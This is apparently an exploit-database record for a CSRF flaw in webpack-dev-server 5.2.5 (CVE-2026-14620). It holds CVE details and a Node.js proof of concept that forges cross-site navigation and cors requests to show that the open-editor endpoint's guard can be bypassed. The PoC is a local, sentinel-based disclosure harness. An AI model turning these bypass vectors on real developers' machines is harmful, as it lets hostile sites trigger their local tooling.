{"exploit":{"id":"EDB-52649","name":"webpack_devserver 5.2.5 - Cross-Site Request Forgery (CSRF)","description":"webpack_devserver 5.2.5 - Cross-Site Request Forgery (CSRF)","cves":["CVE-2026-14620"],"author":"Jorge González Milla","published":"2026-08-17","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52649","path":"exploits/multiple/webapps/52649.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52649.txt","vulnerabilities":[{"id":"CVE-2026-14620","state":"PUBLISHED","title":"webpack-dev-server vulnerable to cross-site request forgery via internal developer endpoints","titleSource":"CVE Program","description":"webpack-dev-server versions 5.2.5 and earlier expose two internal developer endpoints, /webpack-dev-server/open-editor and /webpack-dev-server/invalidate, that perform state-changing actions on any GET request without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger these endpoints cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root, and repeated requests can spawn editor processes and force recompilations that degrade the developer's machine. Patches: upgrade to webpack-dev-server 5.2.6. Workarounds: none.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-14620","cvss":{"version":"3.1","baseScore":4.7,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L","source":"openjs","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-14620"},"updatedAt":"2026-07-06T15:54:51.519Z","retrievedAt":"2026-11-25T16:13:47.157Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52649.png?v=2","url":"https://exploitbin.com/exploits/EDB-52649","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52649/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52649/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: webpack_devserver 5.2.5 - Csrf\n\n# Date: 2026-07-17\n\n# Exploit Author: Pig-Tail (Jorge González Milla)\n\n# Vendor Homepage: https://github.com/webpack/webpack-dev-server\n\n# Software Link: https://www.npmjs.com/package/webpack-dev-server\n\n# Version: <= 5.2.5 (fixed 5.2.6)\n\n# Tested on: Linux\n\n# CVE: CVE-2026-14620\n\n# Category: webapps\n\n# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server\n\n\n\nGET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93.\n\n\n\nThe PoC is a benign, local verification harness (sentinel-based; no network attack, no\n\npersistence, no destructive payload). Run against a local instance of the affected version.\n\n\n\n--- PoC (poc.js) ---\n\n/*\n\n* PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF\n\n*\n\n* Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches\n\n* launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin\n\n* guard added for CVE-2026-6402 / CVE-2025-30359.\n\n*\n\n* The guard (lib/Server.js:2039-2046) only blocks requests whose headers are\n\n* BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the\n\n* <script>/<img>/<link> subresource loads that the source-theft advisories were\n\n* about. It does NOT block:\n\n*   - cross-site NAVIGATIONS (iframe / window.open / top-level)  -> sec-fetch-mode: navigate\n\n*   - cross-site fetch(..., {mode:'cors'})                       -> sec-fetch-mode: cors\n\n* Both of those are exactly how a real malicious page reaches a state-changing\n\n* GET endpoint, and both let launchEditor() spawn a process on the dev's machine\n\n* with an attacker-chosen (existing) file path — INCLUDING paths outside the\n\n* project root.\n\n*\n\n* Benign marker: a fake \"editor\" ($MARKER_FILE) records the argv it was launched\n\n* with. No destructive action. Everything is local (127.0.0.1).\n\n*/\n\n\"use strict\";\n\n\n\nconst path = require(\"path\");\n\nconst http = require(\"http\");\n\nconst fs = require(\"fs\");\n\n\n\nconst POC_DIR = __dirname;\n\n// Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5).\n\n//   WDS_ROOT=/path/to/webpack-dev-server node poc.js\n\nconst WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, \"webpack-dev-server\");\n\nconst webpack = require(path.join(WDS_ROOT, \"node_modules\", \"webpack\"));\n\nconst Server = require(path.join(WDS_ROOT, \"lib\", \"Server.js\"));\n\n\n\nconst MARKER_FILE = path.join(POC_DIR, \"marker.log\");\n\nconst FAKE_EDITOR = path.join(POC_DIR, \"fake-editor.sh\");\n\n// Attacker-chosen target: a file OUTSIDE the dev-server project root.\n\nconst ATTACKER_TARGET = path.join(POC_DIR, \"outside\", \"secret.txt\");\n\n\n\n// Make launch-editor deterministically use our benign sentinel \"editor\".\n\nprocess.env.LAUNCH_EDITOR = FAKE_EDITOR;\n\nprocess.env.MARKER_FILE = MARKER_FILE;\n\n\n\ntry { fs.unlinkSync(MARKER_FILE); } catch {}\n\nfs.chmodSync(FAKE_EDITOR, 0o755);\n\n\n\nconst HOST = \"127.0.0.1\";\n\n\n\nfunction request(port, headers) {\n\n  return new Promise((resolve) => {\n\n    const url =\n\n      \"/webpack-dev-server/open-editor?fileName=\" +\n\n      encodeURIComponent(ATTACKER_TARGET);\n\n    const req = http.request(\n\n      { host: HOST, port, path: url, method: \"GET\", headers },\n\n      (res) => {\n\n        let body = \"\";\n\n        res.on(\"data\", (c) => (body += c));\n\n        res.on(\"end\", () => resolve({ status: res.statusCode, body }));\n\n      }\n\n    );\n\n    req.on(\"error\", (e) => resolve({ status: 0, body: String(e) }));\n\n    req.end();\n\n  });\n\n}\n\n\n\nfunction markerCount() {\n\n  try {\n\n    return fs\n\n      .readFileSync(MARKER_FILE, \"utf8\")\n\n      .split(\"\\n\")\n\n      .filter((l) => l.includes(\"LAUNCHED_WITH\")).length;\n\n  } catch {\n\n    return 0;\n\n  }\n\n}\n\n\n\nasync function waitMarker(prev, ms = 2500) {\n\n  const t0 = Date.now();\n\n  while (Date.now() - t0 < ms) {\n\n    if (markerCount() > prev) return true;\n\n    await new Promise((r) => setTimeout(r, 50));\n\n  }\n\n  return false;\n\n}\n\n\n\n(async () => {\n\n  const compiler = webpack({\n\n    mode: \"development\",\n\n    context: path.join(POC_DIR, \"project\"),\n\n    entry: \"./src/index.js\",\n\n    output: { path: path.join(POC_DIR, \"project\", \"dist\") },\n\n  });\n\n\n\n  // Default-ish config. allowedHosts defaults to \"auto\"; no special hardening.\n\n  const server = new Server({ host: HOST, port: 0 }, compiler);\n\n  await server.start();\n\n  const port = server.server.address().port;\n\n  console.log(`[*] dev server up on http://${HOST}:${port }  (allowedHosts: auto, default)\\n`);\n\n\n\n  const results = [];\n\n\n\n  // Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.\n\n  let prev = markerCount();\n\n  let rA = await request(port, {\n\n    Host: `localhost:${port}`,\n\n    Origin: \" https://evil.example \",\n\n    \"Sec-Fetch-Mode\": \"navigate\",\n\n    \"Sec-Fetch-Site\": \"cross-site\",\n\n    \"Sec-Fetch-Dest\": \"iframe\",\n\n  });\n\n  let firedA = await waitMarker(prev);\n\n  results.push([\"A navigate (iframe) cross-site\", rA.status, firedA]);\n\n\n\n  // Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.\n\n  prev = markerCount();\n\n  let rB = await request(port, {\n\n    Host: `localhost:${port}`,\n\n    Origin: \" https://evil.example \",\n\n    \"Sec-Fetch-Mode\": \"cors\",\n\n    \"Sec-Fetch-Site\": \"cross-site\",\n\n    \"Sec-Fetch-Dest\": \"empty\",\n\n  });\n\n  let firedB = await waitMarker(prev);\n\n  results.push([\"B fetch{mode:cors} cross-site\", rB.status, firedB]);\n\n\n\n  // Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.\n\n  prev = markerCount();\n\n  let rC = await request(port, {\n\n    Host: `localhost:${port}`,\n\n    Origin: \" https://evil.example \",\n\n    \"Sec-Fetch-Mode\": \"no-cors\",\n\n    \"Sec-Fetch-Site\": \"cross-site\",\n\n    \"Sec-Fetch-Dest\": \"script\",\n\n  });\n\n  let firedC = await waitMarker(prev, 1200);\n\n  results.push([\"C no-cors (script/img) cross-site\", rC.status, firedC]);\n\n\n\n  console.log(\"VECTOR                                 HTTP   launchEditor fired?\");\n\n  for (const [name, status, fired] of results) {\n\n    console.log(\n\n      `${name.padEnd(38)} ${String(status).padEnd(5)}  ${fired ? \"YES <-- attacker reached launchEditor\" : \"no (blocked)\"}`\n\n    );\n\n  }\n\n\n\n  console.log(\"\\n--- marker.log (argv the spawned 'editor' received) ---\");\n\n  try { process.stdout.write(fs.readFileSync(MARKER_FILE, \"utf8\")); } catch { console.log(\"(empty)\"); }\n\n\n\n  const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;\n\n  console.log(\n\n    `\\nRESULT: ${pass ? \"CONFIRMED\" : \"NOT CONFIRMED\"} — ` +\n\n      `cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +\n\n      `only no-cors subresource is blocked.`\n\n  );\n\n\n\n  await server.stop();\n\n  process.exit(pass ? 0 : 1);\n\n})().catch((e) => {\n\n  console.error(\"PoC error:\", e);\n\n  process.exit(2);\n\n});","sha256":"f16cb89f4cf0967ddff719c123274524b804c5b1827d4f731aeb586be87d59a1","bytes":7237,"fetchedAt":"2026-11-25T10:17:07.867Z","encoding":"utf-8 (display only; download retains original bytes)"}